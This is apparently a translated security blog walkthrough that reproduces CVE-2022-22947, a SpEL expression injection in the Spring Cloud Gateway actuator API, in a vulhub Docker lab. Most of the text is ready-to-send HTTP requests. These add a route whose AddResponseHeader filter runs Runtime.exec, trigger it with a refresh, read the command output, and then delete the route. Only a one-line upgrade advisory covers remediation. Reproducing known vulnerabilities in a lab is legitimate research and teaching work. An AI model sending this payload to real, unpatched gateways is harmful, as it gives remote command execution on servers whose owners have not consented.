Spring Cloud Gateway Actuator API SpEL Expression Injection Leading to Command Execution (CVE-2022-22947)
Spring Cloud Gateway is an API gateway built on Spring Framework and Spring Boot that provides simple, effective, and unified API routing management for microservice architectures; Huawei Cloud advises users to promptly perform self-checks and apply security hardening.
Read in Chinese→0x01
-
Spring Cloud Gateway is an API gateway built on Spring Framework and Spring Boot. It is designed to provide a simple, effective, and unified approach to API routing management for microservice architectures. Huawei Cloud advises Spring Cloud Gateway users to promptly perform self-checks and apply security hardening.
References:
CVE-2022-22947: Spring Cloud Gateway Code Injection Vulnerability
0x02 Vulnerable Environment
I recommend using vulhub directly—it is clean and convenient, folks.
vulhub/spring/CVE-2022-22947 at master · vulhub/vulhub (github.com)
docker-compose up -dAfter the service starts, visit http://your-ip:8080 to view the demo page.
0x03 Vulnerability Reproduction
Exploiting this vulnerability requires multiple steps.
First, send the following packet to add a route containing a malicious SpEL expression:
(This is the updated payload, which uses AddResponseHeader to echo the output.)
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
Next, send the following packet to apply the newly added route. This packet triggers execution of the SpEL expression:
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Send the following packet to view the execution result:
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
0x04 Cleanup
Quoting panda:
A reminder: in a real-world environment, if deletion fails for some reason, the refresh request may also fail, which could potentially cause problems with the site. Therefore, during actual testing, avoid making careless changes, or you may have to restart the site.
Finally, send the following packet to clean up and delete the added route:
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Then refresh the routes:
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Trigger it again, and the route is now gone.
0x05 Remediation
Upgrade to the latest version.
The vendor has released patched versions that fix this vulnerability.